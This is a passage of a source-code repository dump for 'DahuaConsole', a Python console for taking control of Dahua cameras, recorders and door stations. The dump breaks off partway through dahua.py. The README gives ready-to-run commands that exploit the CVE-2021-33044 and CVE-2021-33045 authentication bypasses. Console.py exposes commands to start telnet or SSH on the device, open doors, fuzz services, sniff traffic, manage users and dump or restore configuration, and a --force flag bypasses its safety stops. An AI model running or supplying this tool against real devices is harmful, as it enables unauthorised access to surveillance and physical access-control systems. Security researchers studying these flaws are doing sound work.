Showing preview only (299K chars total). Download the full file or copy to clipboard to get everything.
Repository: mcw0/DahuaConsole
Branch: master
Commit: 5711bc865e88
Files: 15
Total size: 289.5 KB
Directory structure:
gitextract_a6zqxfdp/
├── .gitignore
├── Console.py
├── LICENSE
├── README.md
├── connection.py
├── dahua.py
├── dahua_logon_modes.py
├── events.py
├── eventviewer.py
├── net.py
├── pwdmanager.py
├── relay.py
├── requirements.txt
├── servers.py
└── utils.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
__pycache__/
.idea/
.git/
backup/
*.json
/venv/
================================================
FILE: Console.py
================================================
#!/usr/bin/env python3
"""
Author: bashis <mcw noemail eu> 2019-2021
Subject: Dahua Debug Console
"""
import argparse
import _thread
from utils import *
from pwdmanager import PwdManager
from dahua import DahuaFunctions
from servers import Servers
class DebugConsole(Servers):
""" main init and loop for console I/O """
""" If multiple Consoles is attached to one device, all attached Consoles will receive same output from device """
def __init__(self, dargs):
super(DebugConsole, self).__init__()
self.dargs = dargs
if self.dargs.dump or self.dargs.test:
self.dump()
return
if self.dargs.restore:
self.restore(self.dargs.restore)
return
self.main_console()
#
# Main console for instances
#
def main_console(self):
#
# Additional Cmd list
#
cmd_list = {
'certificate': {
'cmd': 'self.dh.get_remote_info("certificate")',
'help': 'Dump some information of remote certificate',
},
'config': {
'cmd': 'self.dh.config_members(msg)',
'help': 'remote config (-h for params)',
},
'console': {
'cmd': 'self.dh_console(msg)',
'help': 'console instance handling (-h for params)',
},
'debug': {
'cmd': 'self.debug_instance(msg)',
'help': 'debug instance (-h for params)',
},
'device': {
'cmd': 'self.dh.get_remote_info(msg)',
'help': 'Dump some information of remote device',
},
'dhp2p': {
'cmd': 'self.dh.get_remote_info("dhp2p")',
'help': 'Dump some information of dhp2p',
},
'diag': {
'cmd': 'self.dh.interim_remote_diagnose(msg)',
'help': 'Interim Remote Diagnose (-h for params)',
},
'door': {
'cmd': 'self.dh.open_door(msg)',
'help': 'open door (-h for params)',
},
'events': {
'cmd': 'self.dh.event_manager(msg)',
'help': 'Subscribe on events from eventManager (-h for params)',
},
'fuzz': {
'cmd': 'self.dh.fuzz_service(msg)',
'help': 'fuzz service methods (-h for params)',
},
'ldiscover': {
'cmd': 'self.dh.dh_discover(msg)',
'help': 'Device Discovery from this script (-h for params)',
},
'dlog': {
'cmd': 'self.dh.dlog(msg)',
'help': 'Log stuff (-h for params)',
},
'network': {
'cmd': 'self.dh.net_app(msg)',
'help': 'Network stuff (-h for params)',
},
'memory': {
'cmd': 'self.memory_info()',
'help': 'Used memory of this script (-h for params)',
},
'pcap': {
'cmd': 'self.dh.network_sniffer_manager(msg)',
'help': 'remote device pcap (-h for params)',
},
'rdiscover': {
'cmd': 'self.dh.device_discovery(msg)',
'help': 'Device Discovery from remote device (-h for params)',
},
'service': {
'cmd': 'self.dh.list_service(msg)',
'help': 'List remote services and "methods" (-h for params)',
},
'sshd': {
'cmd': 'self.dh.telnetd_sshd(msg)',
'help': 'Start / Stop (-h for params)',
},
'setDebug': {
'cmd': 'self.dh.set_debug()',
'help': 'Should start produce output from Console in VTO/VTH',
},
'telnet': {
'cmd': 'self.dh.telnetd_sshd(msg)',
'help': 'Start / Stop (-h for params)',
},
'test-config': {
'cmd': 'self.dh.new_config(msg)',
'help': 'New config test (-h for params)',
},
'ldap': {
'cmd': 'self.dh.set_ldap()',
'help': 'LDAP test',
},
'uboot': {
'cmd': 'self.dh.u_boot(msg)',
'help': 'U-Boot Environment Variables (-h for params)',
},
'"quit"': {
'cmd': 'self.dh_console(msg)',
'help': '"quit" active instance "quit all" to quit from all',
},
'"reboot"': {
'cmd': 'self.dh_console(msg)',
'help': '"reboot" active instance "reboot all" to reboot all',
},
'REBOOT': {
'cmd': 'self.dh.reboot()',
'help': 'Try force reboot of remote',
},
'dh_test': {
'cmd': 'self.dh.dh_test(msg)',
'help': 'TEST function (-h for params)',
},
'usermgr': {
'cmd': 'self.dh.user_manager(msg)',
'help': 'User management (-h for params)',
},
}
dh_data = None
if not self.dargs.auth:
dh_data = PwdManager().get_host(self.dargs.rhost)
if not dh_data:
log.failure(color('You need to use --auth <username>:<password>', RED))
return False
if self.dargs.events:
_thread.start_new_thread(self.event_in_out_server, ())
_thread.start_new_thread(self.terminate_daemons, ())
try:
#
# Connect multiple pre-defined devices
#
if self.dargs.multihost and not (self.dargs.dump or self.dargs.test or self.dargs.auth or self.dargs.rhost):
for host in range(0, len(dh_data)):
try:
self.connect_rhost(
rhost=dh_data[host].get('host'),
rport=dh_data[host].get('port'),
proto=dh_data[host].get('proto'),
username=dh_data[host].get('username'),
password=None,
events=self.dargs.events if self.dargs.events else dh_data[host].get('events'),
ssl=self.dargs.ssl,
relay_host=dh_data[host].get('relay'),
logon=dh_data[host].get('logon'),
timeout=5
)
except KeyboardInterrupt:
return False
except Exception as e:
print('MainConsole()', repr(e))
if e.args == ('Authentication failed.',):
return False
pass
if not len(self.dhConsole):
return False
#
# Connect single device pre-defined/or w/ credentials from command line
#
else:
if not self.connect_rhost(
rhost=self.dargs.rhost if self.dargs.auth else dh_data.get('host'),
rport=self.dargs.rport if self.dargs.auth else dh_data.get('port'),
proto=self.dargs.proto if self.dargs.auth else dh_data.get('proto'),
username=self.dargs.auth.split(':')[0] if self.dargs.auth else None,
password=self.dargs.auth.split(':')[1] if self.dargs.auth else None,
events=self.dargs.events if self.dargs.auth else dh_data.get('events'),
ssl=self.dargs.ssl,
relay_host=self.dargs.relay if self.dargs.auth else dh_data.get('relay'),
logon=self.dargs.logon if self.dargs.auth else dh_data.get('logon'),
timeout=5
):
return False
except KeyboardInterrupt:
return False
except AttributeError as e:
print(repr(e))
log.failure('[MainConsole]')
return False
#
# Main Console loop
#
while True:
try:
self.prompt()
# Python 3: readline() returns str, no need to decode
msg = sys.stdin.readline().strip()
if not self.dh or not self.dh.remote.connected():
log.failure('No available instance')
return False
cmd = msg.split()
if msg:
if msg == 'shell' and not self.dargs.force:
log.failure("[shell] will execute and hang the Console/Device (DoS)")
log.failure("If you still want to try, run this script with --force")
continue
elif msg == 'exit' and not self.dargs.force:
log.failure("[exit] You really want to exit? (maybe you mean 'quit' this connection?)")
log.failure("If you still want to try, run this script with --force")
continue
command = None
for command in cmd_list:
if command == cmd[0]:
tmp = cmd_list[command]['cmd']
exec(tmp)
break
if command == cmd[0]:
continue
if self.dh.terminate:
# console kill self.dh
self.dh_console('console kill self.dh')
continue
if msg == 'quit' or len(cmd) == 2 and cmd[0] == 'quit' and cmd[1] == 'all':
if len(cmd) == 2 and cmd[1] == 'all':
self.quit_host(quit_all=True)
return True
if not self.quit_host(quit_all=False, msg=msg):
return False
elif msg == 'shutdown' or msg == 'reboot' or len(cmd) == 2 and cmd[1] == 'all':
if len(cmd) == 2 and cmd[1] == 'all':
self.quit_host(quit_all=True, msg=msg)
return True
if not self.quit_host(quit_all=False, msg=msg):
return False
elif msg == 'help':
self.dh.run_cmd(msg)
self.dh.subscribe_notify(status=True)
log.info("Local cmd:")
for command in cmd_list:
log.success("{}: {}".format(command, cmd_list[command]['help']))
else:
if not self.dh.run_cmd(msg):
log.failure("Invalid command: 'help' for help")
continue
self.dh.subscribe_notify(status=True)
except KeyboardInterrupt:
pass
except EOFError as e:
print('[Console]', repr(e))
return False
# except Exception as e:
# print('[Console]', repr(e))
# pass
@staticmethod
def memory_info():
from resource import getrusage, RUSAGE_SELF
memory = getrusage(RUSAGE_SELF).ru_maxrss
if sys.platform == 'darwin':
memory = memory / 1024
log.info("Memory usage: {}".format(size(memory)))
def set_config(self, key, table):
method_name = 'configManager'
self.dh.instance_service(method_name, start=True)
object_id = self.dh.instance_service(method_name, pull='object')
query_args = {
"method": "configManager.setConfig",
"params": {
"table": table,
"name": key,
},
"object": object_id,
}
log.info(f"Setting {key}")
dh_data = self.dh.send_call(query_args)
if not dh_data:
return
print(json.dumps(dh_data, indent=4))
def restore(self, fd):
self.connect()
""" Restores configuration from json file"""
config = json.loads(fd.read())
for k, v in config['params']['table'].items():
self.set_config(k, v)
def connect(self):
""" Handle the '--dump' options from command line """
self.dhConsole = {}
self.dhConsoleNo = 0
self.udp_server = None
if not self.connect_rhost(
rhost=self.dargs.rhost,
rport=self.dargs.rport,
proto=self.dargs.proto,
username=self.dargs.auth.split(':')[0] if self.dargs.auth else None,
password=self.dargs.auth.split(':')[1] if self.dargs.auth else None,
events=self.dargs.events,
ssl=self.dargs.ssl,
relay_host=self.dargs.relay,
logon=self.dargs.logon,
timeout=5
):
return None
if self.dargs.test:
self.dh.dh_test('test')
return None
def dump(self):
self.connect()
if self.dargs.dump == 'config':
self.dh.config_members("{} {}".format("config", self.dargs.dump_argv if self.dargs.dump_argv else "all"))
self.dh.logout()
return None
elif self.dargs.dump == 'service':
self.dh.listService("{} {}".format("service", self.dargs.dump_argv if self.dargs.dump_argv else "all"))
self.dh.logout()
return None
elif self.dargs.dump == 'device':
self.dh.getRemoteInfo('device')
self.dh.logout()
return None
elif self.dargs.dump == 'discover':
self.dh.deviceDiscovery("{} {}".format("discover", self.dargs.dump_argv))
self.dh.logout()
return None
elif self.dargs.dump == 'test':
self.dh.dh_test('test')
self.dh.logout()
return None
elif self.dargs.dump == 'dlog':
self.dh.dlog('test')
self.dh.logout()
return None
else:
log.error('No such dump: {}'.format(self.dargs.dump))
return None
def quit_host(self, quit_all=False, msg=None):
""" Quit from single device, or 'all' """
cmd = ''
session = None
if msg:
cmd = msg.split()
if quit_all:
while True:
for session in self.dhConsole:
log.warning("{}: {} ({})".format(
session,
self.dhConsole.get(session).get('device'),
self.dhConsole.get(session).get('host'),
))
self.dh = self.dhConsole.get(session).get('instance')
if msg and len(cmd) == 2 and cmd[1] == 'all':
self.dh.cleanup()
self.dh.run_cmd(cmd[0])
if not self.dh.console_attach and cmd[0] == 'reboot':
self.dh.reboot(delay=2)
self.dh.logout()
self.dh.terminate = True
break
del self.dh
self.dhConsole.pop(session)
if not len(self.dhConsole):
break
if self.tcp_server:
self.tcp_server.close()
if self.udp_server:
self.udp_server.close()
return True
else:
for session in self.dhConsole:
if self.dhConsole.get(session).get('instance') == self.dh:
log.warning("{}: {} ({})".format(
session,
self.dhConsole.get(session).get('device'),
self.dhConsole.get(session).get('host'),
))
self.dh.cleanup()
self.dh.run_cmd(msg)
if not self.dh.console_attach and msg == 'reboot':
self.dh.reboot(delay=2)
self.dh.logout()
self.dh.terminate = True
self.dhConsole.pop(session)
del self.dh
break
if not self.dh_instance():
return False
return True
def dh_instance(self, show=False):
"""Show connected instance"""
if not show:
if not len(self.dhConsole):
self.dh = False
return False
for session in self.dhConsole:
self.dh = self.dhConsole.get(session).get('instance')
break
for session in self.dhConsole:
log.info('Console: {}, Device: {} ({}) {} {}'.format(
session,
self.dhConsole.get(session).get('device'),
self.dhConsole.get(session).get('host'),
color('Active', GREEN) if self.dhConsole.get(session).get('instance') == self.dh else '',
'{} {}'.format(
color(
'(calls)'.format(self.dhConsole.get(session).get('instance').debug), YELLOW)
if self.dhConsole.get(session).get('instance').debugCalls else '',
color(
'(traffic: {})'.format(self.dhConsole.get(session).get('instance').debug), YELLOW)
if self.dhConsole.get(session).get('instance').debug else '',
)))
return True
@staticmethod
def prompt():
prompt_text = "\033[92m[\033[91mConsole\033[92m]\033[0m# "
sys.stdout.write(prompt_text)
sys.stdout.flush()
def dh_console(self, msg):
"""Handling connection/kill of instance from main Console"""
cmd = msg.split()
usage = {
"conn": {
"all": "(connect all pre-defined devices)",
"<username>": "<password> <host> [[<port>] | [ <dvrip | dhip | 3des> [<port>]]",
"<host>": "(connect pre-defined device <host>)"
},
"kill": {
"dh<#>": "(kill instance dh<#>)"
},
"dh<#>": "(switch active console. e.g. 'console dh0')"
}
if len(cmd) == 2 and cmd[1] == '-h':
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
elif len(cmd) == 3 and cmd[1] == 'kill':
if len(cmd) == 2:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
try:
tmp = self.dhConsole.get(cmd[2]).get('instance')
except AttributeError:
log.failure('Console ({}) do not exist'.format(cmd[2]))
return False
self.dhConsole.pop(cmd[2])
tmp.terminate = True
tmp.logout()
del tmp
if not self.dh_instance():
return False
return True
elif len(cmd) >= 2 and cmd[1] == 'conn':
if len(cmd) > 2 and cmd[2] == '-h':
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return False
if len(cmd) == 2 or len(cmd) == 3:
dh_data = PwdManager().get_host()
if len(cmd) == 2:
""" console conn """
for host in range(0, len(dh_data)):
conn = next(
(
session for session in self.dhConsole
if dh_data[host].get('host') == self.dhConsole.get(session).get('host')
), None)
log.info('{} {}'.format(
dh_data[host].get('host'), 'Connected ({})'.format(color(conn, GREEN)) if conn else ''))
return True
if cmd[2] == 'all':
""" console conn all """
for host in range(0, len(dh_data)):
if not self.connect_rhost(
rhost=dh_data[host].get('host'),
rport=dh_data[host].get('port'),
proto=dh_data[host].get('proto'),
username=dh_data[host].get('username'),
password=None,
events=self.dargs.events if self.dargs.events else dh_data[host].get('events'),
relay_host=dh_data[host].get('relay'),
ssl=self.dargs.ssl,
timeout=5):
pass
return True
""" console conn <host> """
host = check_host(cmd[2])
if not host:
log.failure('"{}" not valid host'.format(cmd[2]))
return False
dh_data = PwdManager().get_host(host=host)
if not dh_data:
return False
if not self.connect_rhost(
rhost=dh_data.get('host'),
rport=dh_data.get('port'),
proto=dh_data.get('proto'),
username=dh_data.get('username'),
password=None,
events=self.dargs.events if self.dargs.events else dh_data.get('events'),
ssl=self.dargs.ssl,
relay_host=dh_data.get('relay'),
timeout=5):
return False
if not self.dh_instance(show=True):
return False
return True
elif len(cmd) == 4:
log.failure('Need at least "rhost"')
return False
elif len(cmd) >= 5 and not len(cmd) > 5:
rhost = cmd[4]
rport = cmd[5] if len(cmd) == 6 else 37777
proto = 'dvrip'
elif len(cmd) >= 6 and cmd[5] == 'dhip':
rhost = cmd[4]
proto = cmd[5]
rport = cmd[6] if len(cmd) == 7 else 5000
elif len(cmd) >= 6 and cmd[5] == 'dvrip' or cmd[5] == '3des':
rhost = cmd[4]
proto = cmd[5]
rport = cmd[6] if len(cmd) == 7 else 37777
else:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return False
log.info('Connecting with "{}" to {}:{}'.format(proto, rhost, rport))
if not self.connect_rhost(
# rhost=cmd[4],
rhost=rhost,
rport=rport,
proto=proto,
username=cmd[2],
password=cmd[3],
events=self.dargs.events,
ssl=self.dargs.ssl,
# TODO: add relay_host
# relay_host=,
timeout=5):
return False
elif len(cmd) == 2:
if cmd[1] == '-h':
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return False
try:
self.dh = self.dhConsole.get(cmd[1]).get('instance')
except AttributeError:
log.failure("Console [{}] do not exist".format(cmd[1]))
return
if not self.dh_instance(show=True):
return False
return True
def debug_instance(self, msg):
""" Handle 'debug' command from main Console """
cmd = msg.split()
usage = {
"object": "(dict with info about attached services)",
"instance": "(dict with connection details of instance)",
"calls": "<0|1> (debug internal calls)",
"traffic": "(debug DHIP/DVRIP traffic)",
"test": "test"
}
if not len(cmd) > 1:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return
if cmd[1] == 'object':
self.dh.instance_service(method_name="", list_all=True)
elif cmd[1] == 'test':
object_methods = [
method_name for method_name in dir(self.dh)
if callable(getattr(self.dh, method_name))]
print(object_methods)
elif cmd[1] == 'instance':
for dh in self.dhConsole:
dh_data = '{}'.format(help_msg(dh))
for key in self.dhConsole.get(dh):
dh_data += '[{}] = {}\n'.format(key, self.dhConsole.get(dh).get(key))
log.info(dh_data)
return True
elif cmd[1] == 'calls':
usage = {
"calls": {
"0": "(debug off)",
"1": "(debug on)",
}
}
if len(cmd) == 2 or len(cmd) == 3 and cmd[2] == '-h':
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
else:
try:
if int(cmd[2]) < 0 or int(cmd[2]) > 1:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return False
self.dh.debugCalls = int(cmd[2])
log.info('{} {}: {}'.format(cmd[0], cmd[1], self.dh.debugCalls))
except ValueError:
log.failure("Not valid debug code: {}".format(cmd[2]))
return False
return True
elif cmd[1] == 'traffic':
usage = {
"traffic": {
"0": "(debug off)",
"1": "(JSON traffic)",
"2": "(hexdump traffic)",
"3": "(hexdump + JSON traffic)",
}
}
if len(cmd) == 2 or len(cmd) == 3 and cmd[2] == '-h':
if len(cmd) <= 3:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
else:
try:
if int(cmd[2]) < 0 or int(cmd[2]) > 3:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return False
self.dh.debug = int(cmd[2])
log.info('{} {}: {}'.format(cmd[0], cmd[1], self.dh.debug))
except ValueError:
log.failure("Not valid debug code: {}".format(cmd[2]))
return False
return True
else:
log.failure('No such command ({})'.format(msg))
return True
def main():
banner = '[Dahua Debug Console 2019-2021 bashis <mcw noemail eu>]\n'
proto_choices = [
'dhip',
'dvrip',
'3des',
'http',
'https'
]
logon_choices = [
'wsse',
'loopback',
'netkeyboard',
'onvif:plain',
'onvif:digest',
'onvif:onvif',
'plain',
'ushield',
'ldap',
'ad',
'cms',
'local',
'rtsp',
'basic',
'old_digest',
'old_3des',
'gui'
]
dump_choices = [
'config',
'service',
'device',
'discover',
'log',
'test'
]
discover_choices = [
'dhip',
'dvrip'
]
parser = argparse.ArgumentParser(description=('[*] ' + banner + ' [*]'))
parser.add_argument('--rhost', required=False, type=str, default=None, help='Remote Target Address (IP/FQDN)')
parser.add_argument('--rport', required=False, type=int, help='Remote Target Port')
parser.add_argument(
'--proto', required=False, type=str, choices=proto_choices, default='dvrip', help='Protocol [Default: dvrip]'
)
parser.add_argument(
'--relay', required=False, type=str, default=None, help='ssh://<username>:<password>@<host>:<port>'
)
parser.add_argument(
'--auth', required=False, type=str, default=None, help='Credentials (username:password) [Default: None]')
parser.add_argument(
'--ssl', required=False, default=False, action='store_true', help='Use SSL for remote connection')
parser.add_argument(
'-d', '--debug', required=False, default=0, const=0x1, dest="debug", action='store_const', help='JSON traffic'
)
parser.add_argument(
'-dd', '--ddebug', required=False, default=0, const=0x2, dest="ddebug", action='store_const',
help='hexdump traffic'
)
parser.add_argument(
'--dump', required=False, default=False, type=str, choices=dump_choices, help='Dump remote config')
parser.add_argument(
'--restore', required=False, default=False, type=argparse.FileType('r'),
help='Restores device config from json config')
parser.add_argument('--dump_argv', required=False, default=None, type=str, help='ARGV to --dump')
parser.add_argument('--test', required=False, default=False, action='store_true', help='test w/o login attempt')
parser.add_argument(
'--multihost', required=False, default=False, action='store_true', help='Connect hosts from "dhConsole.json"'
)
parser.add_argument(
'--save', required=False, default=False, action='store_true', help='Save host hash to "dhConsole.json"'
)
parser.add_argument(
'--events', required=False, default=False, action='store_true', help='Subscribe to events [Default: False]'
)
parser.add_argument('--discover', required=False, type=str, choices=discover_choices, help='Discover local devices')
parser.add_argument(
'--logon', required=False, type=str, choices=logon_choices, default='default', help='Logon types')
parser.add_argument(
'-f', '--force', required=False, default=False, action='store_true', help='Bypass stops for dangerous commands'
)
parser.add_argument('--calls', required=False, default=False, action='store_true', help='Debug internal calls')
dargs = parser.parse_args()
""" We want at least one argument, so print out help """
if len(sys.argv) == 1:
parser.parse_args(['-h'])
log.info(banner)
dargs.debug = dargs.debug + dargs.ddebug
"""
if not dargs.relay:
if dargs.proto == 'http' or dargs.proto == 'https':
log.failure('proto "{}" works only with relay'.format(dargs.proto))
return False
"""
if dargs.logon in logon_choices:
if dargs.proto not in ['dhip', 'http', 'https', '3des']:
dargs.proto = 'dhip'
if dargs.logon in ['loopback', 'netkeyboard']:
if not dargs.auth:
dargs.auth = 'admin:admin'
if (dargs.proto == 'dvrip' or dargs.proto == '3des') and not dargs.rport:
dargs.rport = 37777
elif dargs.proto == 'dhip' and not dargs.rport:
dargs.rport = 5000
elif dargs.proto == 'http' and not dargs.rport:
dargs.rport = 80
elif dargs.proto == 'https' and not dargs.rport:
dargs.rport = 443
if dargs.ssl and not dargs.relay:
if not dargs.force:
log.failure("SSL do not fully work")
log.failure("If you still want to try, run this script with --force")
return False
dargs.ssl = True
if not dargs.rport:
dargs.rport = '443'
""" Check if RPORT is valid """
if not check_port(dargs.rport):
log.failure("Invalid RPORT - Choose between 1 and 65535")
return False
""" Check if RHOST is valid IP or FQDN, get IP back """
if dargs.rhost is not None:
if not check_host(dargs.rhost):
log.failure("Invalid RHOST")
return False
if not dargs.discover:
if dargs.rhost is None and not dargs.multihost:
log.failure("[required] --multihost or --rhost")
return False
if dargs.ssl:
log.info("SSL Mode Selected")
if dargs.discover:
if not dargs.rhost:
if dargs.discover == 'dhip':
""" Multicast """
dargs.rhost = '239.255.255.251'
elif dargs.discover == 'dvrip':
""" Broadcast """
dargs.rhost = '255.255.255.255'
dh = DahuaFunctions(rhost=dargs.rhost, relay_host=dargs.relay, dargs=dargs)
dh.dh_discover("ldiscover {} {}".format(dargs.discover, dargs.rhost))
else:
DebugConsole(dargs=dargs)
log.info("All done")
if __name__ == '__main__':
main()
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2021 bashis
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
# Dahua Console
- Version: Pre-alpha
- Bugs: Indeed
- TODO: Lots of stuff
[Install requirements]
```text
sudo pip3 install -r requirements.txt
```
[Arguments]
```text
-h, --help show this help message and exit
--rhost RHOST Remote Target Address (IP/FQDN)
--rport RPORT Remote Target Port
--proto {dhip,dvrip,3des,http,https}
Protocol [Default: dvrip]
--relay RELAY ssh://<username>:<password>@<host>:<port>
--auth AUTH Credentials (username:password) [Default: None]
--ssl Use SSL for remote connection
-d, --debug JSON traffic
-dd, --ddebug hexdump traffic
--dump {config,service,device,discover,log,test}
Dump remote config
--dump_argv DUMP_ARGV
ARGV to --dump
--test test w/o login attempt
--multihost Connect hosts from "dhConsole.json"
--save Save host hash to "dhConsole.json"
--events Subscribe to events [Default: False]
--discover {dhip,dvrip}
Discover local devices
--logon {wsse,loopback,netkeyboard,onvif:plain,onvif:digest,onvif:onvif,plain,ushield,ldap,ad,cms,local,rtsp,basic,old_digest,gui}
Logon types
-f, --force Bypass stops for dangerous commands
--calls Debug internal calls
```
---
[Release]
[Update]
2022-07-10
- Added 3des_old logon method for VTH1510CH running V2 software from 2016
- Minor difference in the login packet data
- Do not query device parameters on connect - will reset the connection
- Added `--restore config-file.json`
- Loads json configuration file or parts thereof.
Example:
`./Console.py --rhost 192.168.1.x --proto 3des --auth admin:admin --logon old_3des --dump config`
[Update]
2021-10-07
Details here: https://github.com/mcw0/PoC/blob/master/Dahua%20authentication%20bypass.txt
2021-10-06
[CVE-2021-33044]
Protocol needed: DHIP or HTTP/HTTPS (DHIP do not work with TLS/SSL @TCP/443)
```text
[proto: dhip, normally using tcp/5000]
./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto dhip --rport 5000
[proto: dhip, usually working with HTTP port as well]
./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto dhip --rport 80
[proto: http/https]
./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto http --rport 80
./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto https --rport 443
```
[CVE-2021-33045]
Protocol needed: DHIP (DHIP do not work with TLS/SSL @TCP/443)
```text
[proto: dhip, normally using tcp/5000]
./Console.py --logon loopback --rhost 192.168.57.20 --proto dhip --rport 5000
[proto: dhip, usually working with HTTP port as well]
./Console.py --logon loopback --rhost 192.168.57.20 --proto dhip --rport 80
```
---
================================================
FILE: connection.py
================================================
from utils import *
from pwdmanager import PwdManager
from dahua import DahuaFunctions
class DahuaConnect(object):
def __init__(self):
super(DahuaConnect, self).__init__()
self.dh = None
self.dhConsole = {}
self.dhConsoleNo = 0
self.udp_server = None
self.tcp_server = None
self.dargs = None
def restart_connection(self, host):
""" Handle restart of connections, trying every 30sec for 10 times, if no success, stop trying """
log.info('Scheduling reconnect to {}'.format(host))
dh_data = PwdManager().find_host(host)
times = 0
while True:
time.sleep(30)
try:
if not self.connect_rhost(
rhost=dh_data.get('host'),
rport=dh_data.get('port'),
proto=dh_data.get('proto'),
username=dh_data.get('username'),
password=None,
events=dh_data.get('events'),
ssl=self.dargs.ssl,
relay_host=dh_data.get('relay'),
logon=dh_data.get('logon'),
timeout=5):
print('[restart_connection] ({})'.format(times))
times += 1
else:
return True
# except Exception:
except AttributeError:
log.failure('[restart_connection] ({})'.format(host))
pass
if times == 10:
log.failure('See you in valhalla {}'.format(host))
return False
def connect_rhost(
self, rhost=None, rport=0, proto=None, username=None, password=None, events=None,
ssl=None, relay_host=None, logon=None, timeout=0):
""" Handling connection(s) to remote device """
""" Check if RPORT is valid """
if not check_port(rport):
log.failure("Invalid RPORT - Choose between 1 and 65535")
return False
""" Check if RHOST is valid IP or FQDN, get IP back """
if not check_host(rhost):
return False
for session in self.dhConsole:
if self.dhConsole.get(session).get('host') == rhost:
log.warning('Already connected to {}'.format(rhost))
return False
""" Needed for get 'self.udp_server' set """
time.sleep(1)
dh = DahuaFunctions(
rhost=rhost,
rport=rport,
proto=proto,
events=events,
ssl=ssl,
relay_host=relay_host,
timeout=timeout,
udp_server=self.udp_server,
dargs=self.dargs
)
try:
if not dh.dh_connect(username=username, password=password, logon=logon, force=self.dargs.force):
return False
except PwnlibException as e:
print('[connect_rhost.dh_connect()]', repr(e))
return False
self.dh = dh
if not self.dargs.test:
self.dhConsole.update({
'dh' + str(self.dhConsoleNo): {
'instance': self.dh,
'host': rhost,
'proto': proto,
'port': rport,
'device': self.dh.DeviceType,
'logon': logon,
'relay': relay_host,
}
})
self.dhConsoleNo += 1
return True
================================================
FILE: dahua.py
================================================
import copy
from Crypto.PublicKey import RSA
from OpenSSL import crypto
from pathlib import Path
""" Local imports """
from utils import *
from net import Network
class DahuaFunctions(Network):
""" Dahua instance """
def __init__(
self, rhost=None, rport=None, proto=None, events=False, ssl=False,
relay_host=None, timeout=5, udp_server=True, dargs=None
):
super(DahuaFunctions, self).__init__()
self.rhost = rhost
self.rport = rport
self.proto = proto
self.events = events
self.ssl = ssl
self.relay_host = relay_host
self.timeout = timeout
self.udp_server = udp_server
self.args = dargs
self.debug = dargs.debug
self.debugCalls = dargs.calls # Some internal debugging
self.fuzzServiceDB = {} # Used when fuzzing services
self.DeviceType = '(null)'
self.networkSnifferPath = None
self.networkSnifferID = None
self.dh_sniffer_nic = None
self.attach_only = []
self.Attach = []
self.fuzz_factory = []
#
# Send command to remote console, if not attached just ignore sending
#
def run_cmd(self, msg):
query_args = {
"SID": self.instance_service('console', pull='sid'),
"method": "console.runCmd",
"params": {
"command": msg,
},
"object": self.instance_service('console', pull='object'),
}
if self.console_attach or self.args.force:
dh_data = self.p2p(query_args)
if dh_data is not None:
try:
dh_data = json.loads(dh_data)
except (json.decoder.JSONDecodeError, AttributeError) as e:
log.failure('[runCmd]: {}'.format(repr(e)))
print(dh_data)
return False
if not dh_data.get('result'):
return False
return True
#
# List and caches service(s)
#
def list_service(self, msg, fuzz=False):
cmd = msg.split()
service = None
usage = {
"": "(dump all remote services)",
"<service>": "(dump methods for <service>)",
"all": "(dump all remote services methods)",
"help": "[<service>|all] (\"system\" looks like only have builtin help)",
"[<service>|<all>]": "[save <filename>] (Save JSON to <filename>)",
}
if not len(cmd) == 1:
if cmd[1] == '-h':
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
if len(cmd) == 3 and cmd[1] == 'help':
self.help_service(cmd[2])
return
if not self.RemoteServicesCache:
self.check_for_service('dump')
if not self.RemoteServicesCache:
log.failure('[listService] EZIP perhaps?')
return False
if self.RemoteServicesCache.get('result'):
if not self.args.dump:
service = log.progress('Services')
service.status("Start")
tmp = {}
cache = {}
for count in range(0, len(self.RemoteServicesCache.get('params').get('service'))):
if len(cmd) == 1:
print(self.RemoteServicesCache.get('params').get('service')[count])
elif len(cmd) == 2 or len(cmd) == 4:
query_tmp = {
"method": "",
"params": None,
}
query_tmp.update(
{'method': cmd[1] + '.listMethod' if not cmd[1] == 'all' else
self.RemoteServicesCache.get('params').get('service')[count] + '.listMethod'}
)
if not self.RemoteMethodsCache.get(
cmd[1] if not cmd[1] == 'all'
else self.RemoteServicesCache.get('params').get('service')[count]):
""" 'system.listMethod' not working with multicall """
if query_tmp.get('method') == 'system.listMethod':
dh_data = self.send_call(query_tmp)
tmp.update({query_tmp.get('method').split('.')[0]: dh_data})
dh_data.pop('result')
dh_data.pop('id')
"""SessionID bug: 'method': 'snapManager.listMethod'"""
dh_data.pop('session') if dh_data.get('session') else log.failure(
"[listService] SessionID BUG ({})".format(query_tmp.get('method').split('.')[0]))
self.RemoteMethodsCache.update({query_tmp.get('method').split('.')[0]: dh_data})
if not cmd[1] == 'all':
break
continue
else:
